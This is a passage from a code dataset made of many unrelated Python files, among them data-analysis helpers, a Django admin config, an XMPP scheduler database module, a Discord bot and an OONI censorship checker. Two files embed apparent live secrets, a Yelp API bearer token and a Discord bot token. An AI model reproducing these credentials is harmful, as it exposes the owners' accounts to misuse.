cociente.\r\n cociente+=1\r\n residuo=resta #Cada vez que restemos uno, el residuo es la cantidad que queda. Así, cuando se detiene el ciclo es el último número antes de volverse negativo.\r\n print(\"%d / %d = %d, sobra %d\"%(dividendo,divisor,cociente,residuo)) #imprime el resultado\r\n else:\r\n print(\"Error: Cálculo imposible (teclee números enteros positivos)\")\r\n\r\ndef encontrarMayor():\r\n Mayor=0 #El número referencia para comparar\r\n numero=Mayor #Para que sea diferente de -1\r\n print(\"Teclea una serie de números enteros positivos para encontrar el mayor.\")\r\n while numero!=(-1):\r\n numero=int(input(\"Teclea un número [-1 para salir]: \"))\r\n if numero<0 and numero!=(-1): #Si el número es negativo, devuelve error.\r\n print(\"Error: teclea valores enteros positivos.\")\r\n if numero>Mayor: #Si el número ingresado es mayor al de referencia, lo guardamos como el nuevo mayor de referencia..\r\n Mayor=numero\r\n else: #Si no es mayor, lo ignoramos.\r\n pass\r\n if Mayor>0: #si el número resultante es mayor a cero, lo imprime.\r\n print(\"El mayor es\",Mayor)\r\n if Mayor == 0: #Si el valor mayor continúa siendo cero, no hay un valor mayor como tal. (en teoría es cero, pero qué chiste)\r\n print(\"No hay valor mayor\")\r\n\r\nmain()","sub_path":"Mision07.py","file_name":"Mision07.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"447295337","text":"import json\nimport urllib.request\nimport os,sys,time,calendar,datetime\nfrom urllib.request import Request, urlopen\nimport pandas as pd\n\ndef ohclv(unit='hour', currency1='BTC', currency2='KRW', cnt=30, exchange='' ):\n\turl = 'https://min-api.cryptocompare.com/data/%s?fsym=%s&tsym=%s&limit=%d&aggregate=1&e=%s'\n\tif unit == 'hour':\t\t\n\t\turl = url %('histohour', currency1, currency2, cnt, exchange)\n\telif unit == 'day':\n\t\turl = url %('histoday', currency1, currency2, cnt, exchange)\n\telif unit == 'minute':\n\t\turl = url %('histominute', currency1, currency2, cnt, exchange)\t\n\n\turlTicker = urllib.request.urlopen(url)\n\treadTicker = urlTicker.read().decode('utf-8')\n\tjsonTicker = json.loads(readTicker)\n\n\tdata = jsonTicker['Data']\n\n\tdf = pd.DataFrame(data)\n\tdf['timestamp'] = [datetime.datetime.fromtimestamp(d) for d in df.time]\n\n\tprint(df)\n\treturn df\n\nif __name__ == \"__main__\":\n \n df = ohclv('hour', 'BTC', 'KRW', 2000, 'bithumb')\n","sub_path":"script/cripto_ohclv.py","file_name":"cripto_ohclv.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"1249214","text":"#15\n# XOR 异或^\nfrom itertools import combinations\nT = int(input())\nfor i in range(0,T):\n n = int(input())\n ori = input().split(\" \")\n num = [int(item) for item in ori]\n group = list(combinations(num,2))\n count = 0\n for item in group:\n if item[0] ^ item[1] == 0:\n count += 1\n print(count)","sub_path":"Code/CodeRecords/2677/60771/276430.py","file_name":"276430.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"235947578","text":"def make_series(dates):\n import pandas as pd\n index = pd.DatetimeIndex(dates)\n series = pd.Series(index=index)\n return series\n\ndef add_months_since_start_col(start_date, df):\n import numpy as np\n df['months_since_start'] = ((df.index - start_date)/np.timedelta64(1, 'M'))\n df['months_since_start'] = df.months_since_start.round()\n return df\n\n\n# used for foursquare api\ndef time_elapsed_since(epochtime):\n import datetime\n ts = datetime.datetime.fromtimestamp(epochtime).strftime('%Y-%m-%d %H:%M:%S')\n return ts\n\n\n# Yelp API\ndef business_search():\n import requests\n headers = {\"Authorization\": \"Bearer V-w71bBGGOyWbXNZuBEwIQkhzVmZIe9AExAO_Wh4yXkV3JhZijUT5fFyjAec5oOXUVBBUl8V3e6SbhiQZM9yBKTmFEPdJXQnXbF705rRPc4e3EV4ORH1RquZcTWvWnYx\"}\n endpoint = \"https://api.yelp.com/v3/businesses/search?location=houston&categories=bars&rating=3.5&sort_by=review_count\"\n return requests.get(endpoint, headers=headers).json()['businesses']\n\n\n\n# TX Mixed Drink Receipts API, Max Wine Bar\n\n# tx-revenues-pd.ipynb\n# df = pd.read_csv('revenue_data.csv', index_col = 0)\n# response = requests.get(\"https://data.texas.gov/resource/naix-2893.json?location_name=MAX%27S%20WINE%20DIVE\")\ndef retrieve_receipt_dates_and_rev(restaurant_values):\n receipts = []\n for value in max_wine_bar_values:\n date = value['obligation_end_date_yyyymmdd']\n revenue = value['total_receipts']\n receipts.append({'date': date, 'revenue': revenue, 'address': value['location_address']})\n return receipts\n\ndef gather_receipts_for(address):\n receipts = retrieve_receipt_dates_and_rev(values)\n return list(filter(lambda receipt: receipt['address'] == address,restaurants_receipts))\n\n\n### Simple Linear Regression\ndef plot_scatter():\n import matplotlib.pyplot as plt\n X = np.array(df[column]).reshape(-1, 1)\n return plt.scatter(X, Y, color='black')\n\ndef simple_linear_regression(x_list, y_list):\n import numpy as np\n import statsmodels.api as sm\n X = np.array(x_list).reshape(-1, 1)\n X2 = sm.add_constant(X)\n model = sm.OLS(y_list, X2)\n fitted_model = model.fit()\n print(fitted_model.summary())\n \ndef sklearn_linear_regression(X, Y):\n from sklearn import linear_model\n regr = linear_model.LinearRegression()\n # Ylist = np.array(Y)\n Xlist = np.array(X).reshape(-1, 1)\n model = regr.fit(Xlist, Y)\n return {'coef': regr.coef_, 'intercept': regr.intercept_, 'regr': regr}\n\ndef plot_model(regr, x_values, y_values):\n # x_values can either be new or the original X values\n import matplotlib.pyplot as plt\n y_pred = regr.predict(x_values)\n plt.scatter(x_values, y_values, color='black')\n return plt.plot(x_values, y_pred, color='blue', linewidth=3)\n\n# Read Json\ndef read_json(file):\n import json\n with open(file, 'r') as filehandle: \n reviews = json.load(filehandle)\n return reviews","sub_path":"coding/plotting-on-maps/notes/4-combined-foursquare-yelp/timeseries.py","file_name":"timeseries.py","file_ext":"py","file_size_in_byte":2894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"269773135","text":"from stark.service.stark import site, StarkConfig, get_choice_text, Option\nfrom api import models\nfrom django.utils.safestring import mark_safe\nfrom stark.forms.forms import StarkModelForm\nfrom stark.forms.widgets import DatePickerInput\nfrom django.shortcuts import HttpResponse, render, redirect\n\n\nclass ServerModelForm(StarkModelForm):\n class Meta:\n model = models.Server\n fields = \"__all__\"\n widgets = {\n 'latest_date': DatePickerInput(attrs={'class': 'date-picker'})\n }\n\n\n# 注册model\n\nclass BusinessUnitConfig(StarkConfig):\n list_display = [StarkConfig.display_checkbox, 'id', 'name']\n\n action_list = [StarkConfig.multi_delete]\n\n # 模糊搜索\n\n search_list = ['id', 'name'] # 添加搜索框和要匹配的搜索范围\n\n # 排序\n order_by = ['name', '-id'] # 可以指定一个或多个排序条件,使用 - 表示倒\n\n\nsite.register(models.BusinessUnit, BusinessUnitConfig)\n\nclass BusinessUnitConfig1(StarkConfig):\n list_display = [StarkConfig.display_checkbox, 'id', 'name']\n def get_queryset(self, request, *args, **kwargs):\n return self.model_class.objects.filter(pk=1)\n\nsite.register(models.BusinessUnit, BusinessUnitConfig1,'v1')\n\nclass ServerConfig(StarkConfig):\n model_form_class = ServerModelForm\n\n def server_detail(self, request, pk):\n\n server_disks = models.Disk.objects.filter(server_id=pk).order_by('slot')\n server_memorys = models.Memory.objects.filter(server_id=pk).order_by('slot')\n server_nics = models.NIC.objects.filter(server_id=pk)\n\n return render(request, 'server/server_detail.html',\n {'server_disks': server_disks, 'server_memory': server_memorys, 'server_nics': server_nics})\n\n def server_record(self, request, pk):\n\n server_records = models.AssetRecord.objects.filter(server_id=pk).order_by('-create_at')\n\n return render(request, 'server/server_record.html', {'server_records': server_records})\n\n def extra_url(self, header=None, row=None):\n from django.conf.urls import url\n\n urlpatterns = [\n url(r'^server_detail/(\\d+)/', self.server_detail),\n url(r'^server_record/(\\d+)/', self.server_record),\n ]\n\n return urlpatterns\n\n def show_detail(self, header=None, row=None):\n if header:\n return '查看详情'\n return mark_safe('查看'.format(row.pk)) # 通过跳转页面展示\n\n def show_records(self, header=None, row=None):\n if header:\n return '历史变更记录'\n return mark_safe('查看'.format(row.pk)) # 通过跳转页面展示\n\n def show_status(self, header=None, row=None):\n if header:\n return '主机状态'\n color_dict = {\n 1: 'green',\n 2: 'blue',\n 3: 'red',\n 4: 'yellow'\n }\n return mark_safe('{}'.format(\n color_dict.get(row.device_status_id), row.get_device_status_id_display()))\n\n list_display = [\n StarkConfig.display_checkbox, 'id', 'hostname', show_status, 'os_platform', 'os_version', 'idc', show_detail,\n show_records]\n\n search_list = ['hostname', 'os_version', 'idc__name']\n\n list_filter = [\n Option('business_unit', is_multi=True, condition={'pk__in': [1.3]}),\n Option('device_status_id', is_choice=True, text_func=lambda x: x[1], value_func=lambda x: x[0])\n\n ]\n\n action_list = [StarkConfig.multi_delete]\n\n\nsite.register(models.Server, ServerConfig)\n","sub_path":"cmdb_api/api/stark.py","file_name":"stark.py","file_ext":"py","file_size_in_byte":3671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"136955289","text":"from route4me import Route4Me\n\nKEY = \"11111111111111111111111111111111\"\n\n\ndef main():\n route4me = Route4Me(KEY)\n route = route4me.route\n response = route.get_routes(limit=10, Offset=5)\n if hasattr(response, 'errors'):\n print('. '.join(response.errors))\n else:\n response = route.delete_routes(route_id=[response[0].route_id, ])\n if hasattr(response, 'errors'):\n print('. '.join(response.errors))\n else:\n print('Routes Deleted:')\n for i, route in enumerate(response.route_ids):\n print('\\t{0} - {1}'.format(i + 1, route))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"examples/routes/delete_routes.py","file_name":"delete_routes.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"160800444","text":"#!/usr/bin/env python\n\n# Copyright (c) 2016 Cable Television Laboratories and others.\n#\n# All rights reserved. This program and the accompanying materials\n# are made available under the terms of the Apache License, Version 2.0\n# which accompanies this distribution, and is available at\n# http://www.apache.org/licenses/LICENSE-2.0\n\nfrom setuptools import setup\n\n__author__ = 'spisarski'\n\nsetup(\n setup_requires=['pbr>=1.9', 'setuptools>=17.1'],\n pbr=True,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"33515539","text":"#根据rectangle初选出的car,进行筛选,重定位\r\nfrom my_models import SOCN,CAR_REC\r\nfrom keras.layers import Input\r\nimport cv2\r\nfrom config import Config\r\nimport os\r\nimport numpy as np\r\nfrom tko_utils import box_check,box_correction,point_correction,resize_image_with_crop_or_pad,non_max_suppression_fast\r\nfrom skimage import measure\r\n\r\nconf = Config()\r\nsocn = SOCN(Input(shape=(None, None, 3)))\r\nsocn.compile(optimizer='adam', loss='mse')\r\nsocn.summary()\r\n\r\ntry:\r\n socn.load_weights(os.path.join(conf.save_modelPath,'socn.h5'),by_name=True)\r\n print('load successful!')\r\nexcept Exception as e:\r\n print(e)\r\n print('load fail!')\r\n\r\ncar_rec_model = CAR_REC(Input(shape=(64, 64, 3)))\r\ncar_rec_model.compile(optimizer='adam', loss='mse')\r\ncar_rec_model.summary()\r\n\r\ntry:\r\n car_rec_model.load_weights(os.path.join(conf.save_modelPath,'car_rec_model.h5'),by_name=True)\r\n print('load successful!')\r\nexcept Exception as e:\r\n print(e)\r\n print('load fail!')\r\n\r\n#得到预测的图片\r\nimg = cv2.imread(conf.testData_testPath)\r\nimgo = img\r\nimg = np.expand_dims(img,axis=0)/255\r\nimg_p = socn.predict(img)\r\nimg_p = np.uint8(img_p[0, :, :, 0]*255)\r\n\r\n#对预测图片做腐蚀\r\n_,img_proad = cv2.threshold(img_p,127.5,255,cv2.THRESH_BINARY)\r\nkernel = np.ones((15, 15), np.uint8)\r\nimg_peroad = cv2.erode(img_proad,kernel )/255\r\n#对预测图片做膨胀\r\nkernel = np.ones((120, 120), np.uint8)\r\nimg_pdroad = cv2.dilate(img_proad,kernel )\r\n\r\n#得到马路的rgb值,将在该范围内的值作为马路的值\r\nr = img_peroad * imgo[:, :, 0]\r\nr = np.sum(r)/np.sum(img_peroad)\r\ng = img_peroad * imgo[:, :, 1]\r\ng = np.sum(g)/np.sum(img_peroad)\r\nb = img_peroad * imgo[:, :, 2]\r\nb = np.sum(b)/np.sum(img_peroad)\r\ngray_num = np.int((r + g + b)/3)\r\n\r\nimg_rminus = np.abs(imgo[:, :, 0] - r)\r\nimg_gminus = np.abs(imgo[:, :, 1] - g)\r\nimg_bminus = np.abs(imgo[:, :, 2] - b)\r\nimgo_shape = imgo.shape\r\nzeros_mat = np.zeros(shape=(imgo_shape[0], imgo_shape[1]))\r\nthe_num = 45\r\nfor i in range(imgo_shape[0]):\r\n for j in range(imgo_shape[1]):\r\n if img_rminus[i, j] < the_num and img_gminus[i, j] < the_num and img_bminus[i,j] < the_num:\r\n zeros_mat[i,j] = 255\r\nzeros_matAnti = np.uint8(255 - zeros_mat)\r\n#将马路值与车的像素相乘\r\nroadAndCar = (img_pdroad/255) * zeros_matAnti\r\nkernel = np.ones((2, 2), np.uint8)\r\nroadAndCar = cv2.erode(roadAndCar,kernel )\r\n\r\nson_box_list = []\r\nson_box_prob_list = []\r\n#取出图片中的车对象\r\nlabels = measure.label(roadAndCar, connectivity=2)\r\nprops = measure.regionprops(labels)\r\ntemp_i = 0\r\nfor i in range(len(props)):\r\n box = props[i].bbox\r\n bbox_area = ( box[3] - box[1])*(box[2] - box[0])\r\n if bbox_area < 2000 and bbox_area > 150:\r\n flag = box_check(( box[1],box[0]), ( box[3],box[2]))\r\n if flag == True:\r\n point1, point2 = box_correction([box[1],box[0]],[box[3],box[2]])\r\n point1 = point_correction(point1, imgo_shape[1], imgo_shape[0])\r\n point2 = point_correction(point2, imgo_shape[1], imgo_shape[0])\r\n car = imgo[point1[1]:point2[1],point1[0]:point2[0],:]\r\n\r\n car_gray = cv2.cvtColor(car, cv2.COLOR_BGR2GRAY)\r\n car_gray = cv2.GaussianBlur(car_gray, (5, 5), 0)\r\n car_gray_canny = cv2.Canny(car_gray, 50, 150)\r\n kernel = np.ones((2, 2), np.uint8)\r\n car_gray_canny = cv2.dilate(car_gray_canny, kernel)\r\n # 取出car图片中的车对象\r\n labels_son = measure.label(car_gray_canny, connectivity=2)\r\n props_son = measure.regionprops(labels_son)\r\n for i_son in range(len(props_son)):\r\n box_son = props_son[i_son].bbox\r\n bbox_area_son = (box_son[3] - box_son[1]) * (box_son[2] - box_son[0])\r\n if bbox_area_son > 500:\r\n flag = box_check((box_son[1], box_son[0]), (box_son[3], box_son[2]))\r\n if flag == True:\r\n point1_son = (box_son[1], box_son[0])\r\n point2_son = (box_son[3], box_son[2])\r\n car_son = imgo[point1_son[1]:point2_son[1], point1_son[0]:point2_son[0], :]\r\n car_son_gray = car_son\r\n car_son_gray = (car_son_gray - 127.5) / 127.5\r\n\r\n car_son_gray,_ = resize_image_with_crop_or_pad(car_son_gray, (64,64))\r\n\r\n car_son_gray = np.expand_dims(car_son_gray,0)\r\n value = car_rec_model.predict(car_son_gray)\r\n print(value)\r\n if value > 0.5:\r\n son_box_list.append(np.array([[point1[0]+point1_son[0],point1[1]+point1_son[1],point1[0]+point2_son[0],point1[1]+point2_son[1]]]))\r\n son_box_prob_list.append(np.array([temp_i]))\r\n temp_i += 1\r\nson_box_list = np.concatenate(son_box_list, axis=0)\r\n\r\n\r\n\r\nson_box_prob_list = np.concatenate(son_box_prob_list, axis=0)\r\nboxes, probs = non_max_suppression_fast(son_box_list, son_box_prob_list)\r\nprint(boxes.shape)\r\nfor one_box in boxes:\r\n cv2.rectangle(imgo, (one_box[0],one_box[1]), (one_box[2],one_box[3]), (255, 255, 0), 2)\r\ncv2.imshow('img', imgo)\r\ncv2.waitKey(0)\r\n","sub_path":"model_test_car.py","file_name":"model_test_car.py","file_ext":"py","file_size_in_byte":5248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"72802222","text":"import discord\nfrom discord.ext import commands\n\n\nclient = discord.Client()\n\n@client.event\nasync def on_ready():\n print('We have logged in as {0.user}'.format(client))\n\n@client.event\nasync def on_message(message):\n if message.author == client.user:\n return\n\n\nbot = commands.Bot(command_prefix='$')\n\n@bot.command()\nasync def test(ctx, arg):\n await ctx.send(arg)\n\nclient.run('NTczNjkzMTk3NDk5MzY3NDM2.XMuo-Q.PmvhOq6nzSpXdT8KLI7897dQraU')\n ","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"309273913","text":"import numpy as np\nimport pickle\n\ndef col2im(cols, img_size, blksize):\n img = np.zeros((img_size, img_size))\n lim = img.shape[0] - blksize +1\n ncol = 0\n for px in range(0, lim, blksize):\n for py in range(0, lim, blksize):\n col = cols[ncol].reshape((blksize, blksize))\n img[px:px+blksize, py:py+blksize] = col\n ncol += 1\n return img\n\n# parse hex stream\ndef hex2bit(fin):\n with open(fin) as f:\n hexstr = f.read()\n bitstream = ''\n for each_hex in hexstr:\n # hex to binary\n bits = bin(int(each_hex, 16))[2:]\n # put in bitjar\n bits = '0'*(4-len(bits)) + bits\n bitstream += bits\n return bitstream\n\ndef _bitstr2int(bs, kset):\n # bs: bit stream generate by the VQ index\n # kset: k bits to represent the VQ dictionary\n idx = []\n i = 0\n for c in kset:\n tmp = bs[i: i+c]\n idx.append(int(tmp,2))\n i += c\n return np.array(idx)\n\ndef decode(bitstream, vqds, kset, imgshape, blksize=8):\n # generate label of vq dictionary\n label = _bitstr2int(bitstream, kset)\n cols = []\n for vqd, idx in zip(vqds, label):\n cols.append(vqd[idx])\n cols = np.array(cols)\n img = col2im(cols, imgshape, blksize) \n print('reconstruct image down...')\n return img\n\ndef img_show_save(img, fin, show=True, sav=True):\n import matplotlib.pyplot as plt\n import PIL.Image as Image\n # show and save\n if show:\n plt.gray()\n plt.imshow(img)\n plt.show()\n if sav:\n im_out = Image.fromarray(img.astype(np.uint8))\n img_name = fin[:-4]+'_rc.bmp'\n im_out.save(img_name)\n print('save image: %s'%img_name)\n\nif __name__== '__main__':\n vqd_name = 'vqdict.pkl'\n # load vq dict\n with open(vqd_name,'rb') as f:\n vqds = pickle.load(f)\n kset = [2]*len(vqds) \n imgshape = 512\n blksize = 8\n fin = '0220.hex'\n bitstream = hex2bit(fin)\n img = decode(bitstream, vqds, kset, imgshape, blksize)\n img_show_save(img, fin, 1, 0)\n","sub_path":"lbc_test/lbc_test02/lbc/decode.py","file_name":"decode.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"280396526","text":"class Solution(object):\n def nextGreaterElement(self, findNums, nums):\n output = []\n for i in range(len(findNums)):\n counter = 0\n for j in range(nums.index(findNums[i])+1,len(nums)):\n if nums[j] > findNums[i]:\n output.append(nums[j])\n break\n else:\n counter += 1\n if counter == len(nums) - (nums.index(findNums[i]) + 1):\n output.append(-1)\n return output\n \n \"\"\"\n :type findNums: List[int]\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n ","sub_path":"496.py","file_name":"496.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"410575138","text":"# Kestrel: An XMPP-based Many-Task Computing Scheduler\n# Copyright (C) 2009-2010 Lance Stout\n# This file is part of Kestrel.\n#\n# Kestrel is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Kestrel is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Kestrel. If not, see .\n\nimport sqlalchemy as sql\nfrom sqlalchemy import Table, Column, Integer, String, ForeignKey, and_, or_\nfrom sqlalchemy.orm import mapper, relationship, sessionmaker\n\n\nclass RosterItem(object):\n def __init__(self, owner='', jid=''):\n self.owner = owner\n self.jid = jid\n\n def subscribe(self):\n self.subscription_to = 1\n\n def subscribed(self):\n self.subscription_from = 1\n\n def unsubscribe(self):\n self.subscription_to = 0\n\n def unsubscribed(self):\n self.subscription_from = 0\n\n\nclass Worker(object):\n def __init__(self, jid, capabilities=None, state=None):\n self.jid = jid\n if capabilities is not None:\n capabilities.sort()\n self.capabilities = '%' + ('%'.join(capabilities)).upper() + '%'\n if state is not None:\n self.state = state\n\n\nclass Job(object):\n def __init__(self, owner, command, cleanup=None,\n queue=1, requires=None, status=None, jid=None):\n self.owner = owner\n self.jid = jid\n self.status = status\n self.command = command\n self.cleanup = cleanup\n self.queue = queue\n self.tasks = []\n if requires is None:\n requires = ''\n else:\n requires.sort()\n requires = '%' + '%'.join(requires) + '%'\n self.requirements = requires.upper()\n\n for i in xrange(0, queue):\n task = Task()\n task.task_id = i\n task.status = 'queued'\n self.tasks.append(task)\n\n def complete(self):\n self.status = 'completed'\n\nclass Task(object):\n def cancel(self):\n transitions = {'queued': 'completed',\n 'pending': 'completed',\n 'running': 'cancelling',\n 'cancelling': 'cancelling',\n 'completed': 'completed'}\n self.status = transitions.get(self.status, 'completed')\n\n def reset(self):\n transitions = {'queued': 'queued',\n 'pending': 'queued',\n 'running': 'queued',\n 'cancelling': 'completed',\n 'completed': 'completed'}\n self.worker = None\n self.status = transitions.get(self.status, 'queued')\n\n def finish(self):\n self.status = 'completed'\n self.worker_id = None\n\n def start(self):\n self.status = 'running'\n\n\nclass Database(object):\n \"\"\"Create and manage a database connection\"\"\"\n\n def __init__(self, source):\n self.engine = sql.create_engine(source+'?check_same_thread=False')\n self.metadata = sql.MetaData()\n\n # ==============================================================\n # Database table definitions:\n # ==============================================================\n\n # --------------------------------------------------------------\n # Roster\n # --------------------------------------------------------------\n self.roster = Table('roster', self.metadata,\n Column('owner', String, primary_key=True),\n Column('jid', String, primary_key=True),\n Column('subscription_to', Integer),\n Column('subscription_from', Integer),\n Column('show', String))\n\n # --------------------------------------------------------------\n # Tasks\n # --------------------------------------------------------------\n self.tasks = Table('tasks', self.metadata,\n Column('id', Integer, primary_key=True),\n Column('job_id', Integer, ForeignKey('jobs.id')),\n Column('task_id', Integer),\n Column('worker_id', Integer, ForeignKey('workers.jid')),\n Column('status', String))\n\n # --------------------------------------------------------------\n # Jobs\n # --------------------------------------------------------------\n self.jobs = Table('jobs', self.metadata,\n Column('id', Integer, primary_key=True),\n Column('owner', String),\n Column('jid', String),\n Column('command', String),\n Column('cleanup', String),\n Column('queue', Integer),\n Column('status', String),\n Column('requirements', String))\n\n # --------------------------------------------------------------\n # Workers\n # --------------------------------------------------------------\n self.workers = Table('workers', self.metadata,\n Column('jid', String , primary_key=True),\n Column('state', String),\n Column('capabilities', String))\n\n # --------------------------------------------------------------\n # Object Relational Mappers\n # --------------------------------------------------------------\n mapper(RosterItem, self.roster)\n mapper(Job, self.jobs, properties={\n 'tasks': relationship(Task, backref='job')\n })\n mapper(Worker, self.workers, properties={\n 'tasks': relationship(Task, backref='worker')\n })\n mapper(Task, self.tasks)\n # --------------------------------------------------------------\n\n self.metadata.create_all(self.engine)\n self.Session = sessionmaker(bind=self.engine)\n\n def session(self):\n \"\"\"Create a new database session.\"\"\"\n return self.Session()\n","sub_path":"kestrel/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":6498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"267541856","text":"#!/usr/bin/env python3\nimport argparse\nimport requests\nimport sys\nimport time\nfrom datetime import datetime, timedelta\nfrom colored import fg, bg, attr\n\nclass OoniError(Exception):\n pass\n\nclass OoniRepository(object):\n def __init__(self):\n self.base_url = \"https://api.ooni.io/api/v1/\"\n\n def list_tests(self, since, until, test, country, domain):\n # TODO: handle pagination\n params={\n 'probe_cc':country,\n 'since': since.strftime(\"%Y-%m-%d\"),\n 'until': until.strftime(\"%Y-%m-%d\"),\n 'test_name': test,\n 'domain': domain\n }\n r = requests.get(self.base_url + \"measurements\", params=params)\n if r.status_code == 200:\n return r.json()\n else:\n print(r)\n raise OoniError()\n\n def download_file(self, url):\n \"\"\"\n Download a given OONI file\n \"\"\"\n r = requests.get(url)\n if r.status_code == 200:\n return r.json()\n else:\n raise OoniError()\n\n def extract_dns_answer(self, data):\n \"\"\"\n Extract DNS A answer from OONI web measurement\n if it does not exist; returns []\n \"\"\"\n res = set()\n if \"test_keys\" in data:\n if \"queries\" in data[\"test_keys\"]:\n for q in data[\"test_keys\"][\"queries\"]:\n for a in q[\"answers\"]:\n if a[\"answer_type\"] == \"A\":\n res.add(a[\"ipv4\"])\n return list(res)\n\n def extract_dns_server(self, data):\n \"\"\"\n Extract the DNS server used by the query\n \"\"\"\n if \"test_keys\" in data:\n if \"client_resolver\" in data[\"test_keys\"]:\n return data[\"test_keys\"][\"client_resolver\"]\n return \"\"\n\n def extract_tcp_status(self, data):\n \"\"\"\n return TCP status info\n \"\"\"\n return data['test_keys']['tcp_connect'][0]['status'].get('success')\n\n def extract_http_status(self, data):\n \"\"\"\n Return HTTP status\n \"\"\"\n if \"test_keys\" in data:\n if \"requests\" in data[\"test_keys\"]:\n if len(data['test_keys']['requests']) > 0:\n if \"failure\" in data['test_keys']['requests'][0]:\n if data['test_keys']['requests'][0]['failure'] is not None:\n return (True, data['test_keys']['requests'][0]['failure'])\n if \"response\" in data['test_keys']['requests'][0]:\n return (False, data['test_keys']['requests'][0]['response'].get('response_line'))\n return (False, \"\")\n return (True, \"\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Check OONI data')\n parser.add_argument('--country', '-c',\n help=\"Country to check\")\n parser.add_argument('--since', '-s', nargs='?',\n help='The start date of when measurements were run (format YYYYMMDD)')\n parser.add_argument('--until', '-u', nargs='?',\n help='The end date of when measurement were run (format YYYYMMDD)')\n parser.add_argument('--website', '-w',\n help='Website for filtering')\n args = parser.parse_args()\n\n if not args.country:\n print(\"Please provide a country code\")\n sys.exit(-1)\n if not args.website:\n print(\"Please provide a website\")\n sys.exit(-1)\n\n if args.since:\n since = datetime.strptime(args.since, \"%Y%m%d\")\n else:\n now = datetime.now()\n since = datetime(now.year, now.month, now.day) - timedelta(days=1)\n\n if args.until:\n until = datetime.strptime(args.until, \"%Y%m%d\")\n else:\n until = datetime.now()\n\n if since > until:\n since, until = until, since\n\n ooni = OoniRepository()\n results = ooni.list_tests(\n since,\n until,\n \"web_connectivity\",\n args.country,\n args.website\n )\n\n if len(results['results']) == 0:\n print(\"No measurement found\")\n sys.exit(0)\n\n # Organize per ASN\n asns = {}\n for r in results['results']:\n if r['probe_asn'] in asns:\n asns[r['probe_asn']].append(r)\n else:\n asns[r['probe_asn']] = [r]\n\n # Analyze stuff\n for asn in asns:\n print(\"%s%s# %s%s\" % (fg('white'), bg('yellow'), asn.upper(), attr(0)))\n for r in sorted(asns[asn], key=lambda x: x['measurement_start_time']):\n data = ooni.download_file(r['measurement_url'])\n dns_server = ooni.extract_dns_server(data)\n ips = ooni.extract_dns_answer(data)\n tcp = ooni.extract_tcp_status(data)\n http = ooni.extract_http_status(data)\n colors = {'Yes': 'red', 'No': 'green', 'None': 249}\n print(\"%s\\t %sAnomaly: %s\\t%sConfirmed: %s%s | DNS: %s | IP: %s | TCP : %s | HTTP %s %s\" % (\n r['measurement_start_time'],\n fg(colors['Yes']) if r[\"anomaly\"] else fg(colors['No']),\n 'Yes' if r[\"anomaly\"] else \"No\",\n fg('red') if r[\"confirmed\"] else fg('green'),\n \"Yes\" if r[\"confirmed\"] else \"No\",\n attr(0),\n dns_server,\n \",\".join(ips),\n \"Success\" if tcp else \"Failed\",\n \"Failed\" if http[0] else \"Success\",\n http[1]\n )\n )\n # Sleep to avoid overloading OONI API\n time.sleep(0.5)\n print(\"\")\n\n","sub_path":"ooni/get_ooni_website_status.py","file_name":"get_ooni_website_status.py","file_ext":"py","file_size_in_byte":5558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"638948655","text":"from threading import *\r\nfrom time import *\r\n\r\n\r\nclass A(Thread):\r\n def run(self):\r\n for i in range(5):\r\n print(\"Hi!\")\r\n sleep(1) # Here sleep will stop execution of t1 for 1sec. and t2 will execute then.\r\n\r\n\r\nclass B(Thread):\r\n def run(self):\r\n for i in range(5):\r\n print(\"Hello!\")\r\n sleep(1)\r\n\r\n\r\nt1 = A()\r\nt2 = B()\r\nt1.start()\r\nsleep(0.1) # Here sleep will stop execution of t1 and run t2.\r\nt2.start()\r\nt1.join() # Here join will make both t1 and t2 to continue until it finished its process then it will print Bye!\r\nt1.join()\r\nprint(\"Bye!\")\r\n","sub_path":"multiThreading.py","file_name":"multiThreading.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"83887651","text":"import numpy as np\nimport pandas as pd\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\ndef main():\n df = pd.read_csv('./../data/chapter3.csv', index_col='id')\n \n es = np.array(df['English'])[:26]\n ms = np.array(df['Mathematics'])[:26]\n \n df = pd.DataFrame({\n 'english': es,\n 